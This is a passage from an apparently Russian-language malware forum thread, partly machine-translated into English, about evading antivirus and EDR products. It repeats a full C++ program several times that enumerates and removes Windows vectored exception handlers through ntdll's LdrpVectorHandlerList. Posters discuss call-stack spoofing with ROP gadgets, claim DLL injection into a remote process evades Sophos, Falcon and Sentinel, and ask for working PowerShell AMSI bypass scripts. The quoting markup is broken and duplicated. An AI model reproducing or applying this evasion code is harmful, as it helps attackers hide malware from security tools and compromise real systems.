            next = next->Flink;
        }
    }
    //
    // Cleanup after ourselves..
    //
    RemoveVectoredExceptionHandler(dummyHandler);
    return found ? next : NULL;
}


int main()
{
    PVECTXCPT_CALLOUT_ENTRY vehHandles[64];
    PLIST_ENTRY next;
    PVOID LdrpVectorHandlerList;
    unsigned vehCounter = 0;
    
    LdrpVectorHandlerList = findLdrpVectorHandlerList();
    next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
    printf("LdrpVectorHandlerList:\t0x%p\n", LdrpVectorHandlerList);
    for (; next != LdrpVectorHandlerList && vehCounter < 64;
        vehCounter++, next = next->Flink)
    {
        printf("Registered Handler:\t0x%p -> ", next);
        vehHandles[vehCounter] = (PVECTXCPT_CALLOUT_ENTRY)next;
        printf("0x%p\n", DecodePointer(vehHandles[vehCounter]->VectoredHandler));
    }


    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Removing VEH[%d]:\t0x%p -> ", i, vehHandles[i]);
        printf("0x%p\n", DecodePointer(vehHandles[i]->VectoredHandler));
        RemoveVectoredExceptionHandler(vehHandles[i]);
    }
    //
    // Re-register the saved exception handlers
    //
    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Restoring VEH[%d]:\t0x%p\n", i,
        DecodePointer(vehHandles[i]->VectoredHandler));
        AddVectoredExceptionHandler(0,
        DecodePointer(vehHandles[i]->VectoredHandler));
    }
    //
    // Observe our re-registered handlers
    //
    for (next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
        next != LdrpVectorHandlerList; next = next->Flink)
    {
        printf("Checking Handler:\t0x%p\n",
        DecodePointer(((PVECTXCPT_CALLOUT_ENTRY)next)->VectoredHandler));
    }
    return 0;
 
Н
Палевно конечно, но я использую спуфинг стэка вызовов, так что полет нормальный.
Вот кстати интересеная техника "очистки" вех, в Nighthawk ее используют.
C++:
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

typedef struct _VECTXCPT_CALLOUT_ENTRY {

    LIST_ENTRY Links;

    PVOID reserved[2];

    PVECTORED_EXCEPTION_HANDLER VectoredHandler;

} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;


LONG WINAPI dummyExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)

{
    return 0;
}


BOOL getNtdllSectionVa(DWORD sectionNameHash, PVOID* sectionVa, DWORD* sectionSz)
{
    const LIST_ENTRY* head = &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* next = head->Flink;
    while (next != head)
    {
        LDR_DATA_TABLE_ENTRY* entry =
        CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        const UNICODE_STRING* basename = (UNICODE_STRING*)((BYTE*)&entry->FullDllName
            + sizeof(UNICODE_STRING));

        if (Hash(basename->Buffer) == 0x1292CCF7F) //ntdll.dll
        {
            PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)entry->DllBase
                + ((PIMAGE_DOS_HEADER)entry->DllBase)->e_lfanew);
            for (int j = 0; j < nt->FileHeader.NumberOfSections; j++) {
                const PIMAGE_SECTION_HEADER section =
                    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(nt) +
                        (DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * j);
                if (Hash(section->Name) == sectionNameHash) {
                    *sectionVa = (PVOID)((ULONG_PTR)entry->DllBase
                        + section->VirtualAddress);
                    *sectionSz = section->Misc.VirtualSize;
                    return TRUE;
                }
            }
        }
        next = next->Flink;
    }
    return FALSE;
}


PVOID findLdrpVectorHandlerList()
{
    BOOL found = FALSE;
    //
    // Register a fake handler
    //
    PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);
    if (dummyHandler == NULL)
        return NULL;
    PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;
    PVOID sectionVa;
    DWORD sectionSz;
    //
    // LdrpVectorHandlerList will be found in the .data section of NTDLL.dll
    //
    if (getNtdllSectionVa(0x58705E3ABB, &sectionVa, &sectionSz))
    {
        while ((PVOID)next != dummyHandler)
        {
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz))
                break;
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID*)sectionVa + sectionSz)
            {
                found = TRUE;
                break;
            }
            next = next->Flink;
        }
    }
    //
    // Cleanup after ourselves..
    //
    RemoveVectoredExceptionHandler(dummyHandler);
    return found ? next : NULL;
}


int main()
{
    PVECTXCPT_CALLOUT_ENTRY vehHandles[64];
    PLIST_ENTRY next;
    PVOID LdrpVectorHandlerList;
    unsigned vehCounter = 0;
   
    LdrpVectorHandlerList = findLdrpVectorHandlerList();
    next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
    printf("LdrpVectorHandlerList:\t0x%p\n", LdrpVectorHandlerList);
    for (; next != LdrpVectorHandlerList && vehCounter < 64;
        vehCounter++, next = next->Flink)
    {
        printf("Registered Handler:\t0x%p -> ", next);
        vehHandles[vehCounter] = (PVECTXCPT_CALLOUT_ENTRY)next;
        printf("0x%p\n", DecodePointer(vehHandles[vehCounter]->VectoredHandler));
    }


    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Removing VEH[%d]:\t0x%p -> ", i, vehHandles[i]);
        printf("0x%p\n", DecodePointer(vehHandles[i]->VectoredHandler));
        RemoveVectoredExceptionHandler(vehHandles[i]);
    }
    //
    // Re-register the saved exception handlers
    //
    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Restoring VEH[%d]:\t0x%p\n", i,
        DecodePointer(vehHandles[i]->VectoredHandler));
        AddVectoredExceptionHandler(0,
        DecodePointer(vehHandles[i]->VectoredHandler));
    }
    //
    // Observe our re-registered handlers
    //
    for (next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
        next != LdrpVectorHandlerList; next = next->Flink)
    {
        printf("Checking Handler:\t0x%p\n",
        DecodePointer(((PVECTXCPT_CALLOUT_ENTRY)next)->VectoredHandler));
    }
    return 0;
Ну вот и начинается история, спуфинг стека так что бы прохавали все значимые ав, адрес обработчика не прямо в свой код а через гаджет что бы не выглядел подозрительным, а еще не во всех процессах разрешены вех обработчики.
 
спуфинг стека так что бы прохавали все значимые ав
Они это прохавали еще три года назад после релиза этой функции в кобе. Конечно это все делается через rop гаджеты, только не паблик реализации. У меня нет никаких проблем с спуфом стека и вех с ав или топ едр. Вот тебе пример с инжектом dll с кастомным импортом в удаленный процесс RunOnce, как пример, Sophos последний релиз Dec 06, 2023. Так же делали тесты с Фальконом, Сентинелом, с последними апдейтами, все гуд.
1712653473217.png
 
Они это прохавали еще три года назад после релиза этой функции в кобе. Конечно это все делается через rop гаджеты, только не паблик реализации. У меня нет никаких проблем с спуфом стека и вех с ав или топ едр. Вот тебе пример с инжектом dll с кастомным импортом в удаленный процесс RunOnce, как пример, Sophos последний релиз Dec 06, 2023. Так же делали тесты с Фальконом, Сентинелом, с последними апдейтами, все гуд.
Посмотреть вложение 82190
Я не спорю и даже не критикую, просто акцентирую внимание что между предложенным концептом и практическим применением есть и подводная чайсть айсберга в которой прячется неслабый объем знаний, работы, тестов. И прочитав мой пост юный падаван не станет спешить с копипастом кодеса, а если и скопипастить то хотябы будет представлять почему это ав вместо того что бы умереть в муках взяли и прибили его процесс.
А так респект, базара 0.
 
Немного ссылок:


p.s. Matt Graebers Reflection method - все еще работает даже на вин 11 с последними апдейтами, на себе проверял.
 
For obfuscation of amsi payloads also try this website:
Also I remember used this method also for obfuscation:

If you want to understand some of the basic of AMSI bypassing perhaps read this:
It's crazy, of course, but I use call stack spoofing, so the flight is normal.
By the way, there is an interesting technique for “cleaning” milestones; Nighthawk uses it.
C++:
#include <Windows.h>
#include <winternl.h>
#include <stdio.h>

typedef struct _VECTXCPT_CALLOUT_ENTRY {

    LIST_ENTRY Links;

    PVOID reserved[2];

    PVECTORED_EXCEPTION_HANDLER VectoredHandler;

} VECTXCPT_CALLOUT_ENTRY, * PVECTXCPT_CALLOUT_ENTRY;


LONG WINAPI dummyExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)

{
    return 0;
}


BOOL getNtdllSectionVa(DWORD sectionNameHash, PVOID* sectionVa, DWORD* sectionSz)
{
    const LIST_ENTRY* head = &NtCurrentTeb()->ProcessEnvironmentBlock->Ldr->InMemoryOrderModuleList;
    LIST_ENTRY* next = head->Flink;
    while (next != head)
    {
        LDR_DATA_TABLE_ENTRY* entry =
        CONTAINING_RECORD(next, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
        const UNICODE_STRING* basename = (UNICODE_STRING*)((BYTE*)&entry->FullDllName
            + sizeof(UNICODE_STRING));

        if (Hash(basename->Buffer) == 0x1292CCF7F) //ntdll.dll
        {
            PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)((ULONG_PTR)entry->DllBase
                + ((PIMAGE_DOS_HEADER)entry->DllBase)->e_lfanew);
            for (int j = 0; j < nt->FileHeader.NumberOfSections; j++) {
                const PIMAGE_SECTION_HEADER section =
                    (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(nt) +
                        (DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * j);
                if (Hash(section->Name) == sectionNameHash) {
                    *sectionVa = (PVOID)((ULONG_PTR)entry->DllBase
                        + section->VirtualAddress);
                    *sectionSz = section->Misc.VirtualSize;
                    return TRUE;
                }
            }
        }
        next = next->Flink;
    }
    return FALSE;
}


PVOID findLdrpVectorHandlerList()
{
    BOOL found = FALSE;
    //
    // Register a fake handler
    //
    PVOID dummyHandler = AddVectoredExceptionHandler(0, &dummyExceptionHandler);
    if (dummyHandler == NULL)
        return NULL;
    PLIST_ENTRY next = ((PLIST_ENTRY)dummyHandler)->Flink;
    PVOID sectionVa;
    DWORD sectionSz;
    //
    // LdrpVectorHandlerList will be found in the .data section of NTDLL.dll
    //
    if (getNtdllSectionVa(0x58705E3ABB, &sectionVa, &sectionSz))
    {
        while ((PVOID)next != dummyHandler)
        {
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID)((ULONG_PTR)sectionVa + sectionSz))
                break;
            if ((PVOID)next >= sectionVa &&
                (PVOID)next <= (PVOID*)sectionVa + sectionSz)
            {
                found = TRUE;
                break;
            }
            next = next->Flink;
        }
    }
    //
    // Cleanup after ourselves..
    //
    RemoveVectoredExceptionHandler(dummyHandler);
    return found ? next : NULL;
}


int main()
{
    PVECTXCPT_CALLOUT_ENTRY vehHandles[64];
    PLIST_ENTRY next;
    PVOID LdrpVectorHandlerList;
    unsigned vehCounter = 0;
   
    LdrpVectorHandlerList = findLdrpVectorHandlerList();
    next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
    printf("LdrpVectorHandlerList:\t0x%p\n", LdrpVectorHandlerList);
    for (; next != LdrpVectorHandlerList && vehCounter < 64;
        vehCounter++, next = next->Flink)
    {
        printf("Registered Handler:\t0x%p -> ", next);
        vehHandles[vehCounter] = (PVECTXCPT_CALLOUT_ENTRY)next;
        printf("0x%p\n", DecodePointer(vehHandles[vehCounter]->VectoredHandler));
    }


    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Removing VEH[%d]:\t0x%p -> ", i, vehHandles[i]);
        printf("0x%p\n", DecodePointer(vehHandles[i]->VectoredHandler));
        RemoveVectoredExceptionHandler(vehHandles[i]);
    }
    //
    // Re-register the saved exception handlers
    //
    for (unsigned i = 0; i < vehCounter; i++)
    {
        printf("Restoring VEH[%d]:\t0x%p\n", i,
        DecodePointer(vehHandles[i]->VectoredHandler));
        AddVectoredExceptionHandler(0,
        DecodePointer(vehHandles[i]->VectoredHandler));
    }
    //
    // Observe our re-registered handlers
    //
    for (next = ((PLIST_ENTRY)LdrpVectorHandlerList)->Flink;
        next != LdrpVectorHandlerList; next = next->Flink)
    {
        printf("Checking Handler:\t0x%p\n",
        DecodePointer(((PVECTXCPT_CALLOUT_ENTRY)next)->VectoredHandler));
    }
    return 0;[/CO
[QUOTE="secidiot, post: 786527, member: 307217"]
Они это прохавали еще три года назад после релиза этой функции в кобе. Конечно это все делается через rop гаджеты, только не паблик реализации. У меня нет никаких проблем с спуфом стека и вех с ав или топ едр. Вот тебе пример с инжектом dll с кастомным импортом в удаленный процесс RunOnce, как пример, Sophos последний релиз Dec 06, 2023. Так же делали тесты с Фальконом, Сентинелом, с последними апдейтами, все гуд.
[ATTACH type="full" alt="1712653473217.png"]82190[/ATTACH]
[/QUOTE]
Lerning malware devplopment ..what can you suggest .. Thanks
[/QUOTE]
 
Всем привет
Будьте добры, поделитесь актуальным на сенгодняшний день powershell скриптами по обходу AMSI.
И может быть есть сервисы аналогичные этому https://amsi.fail/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх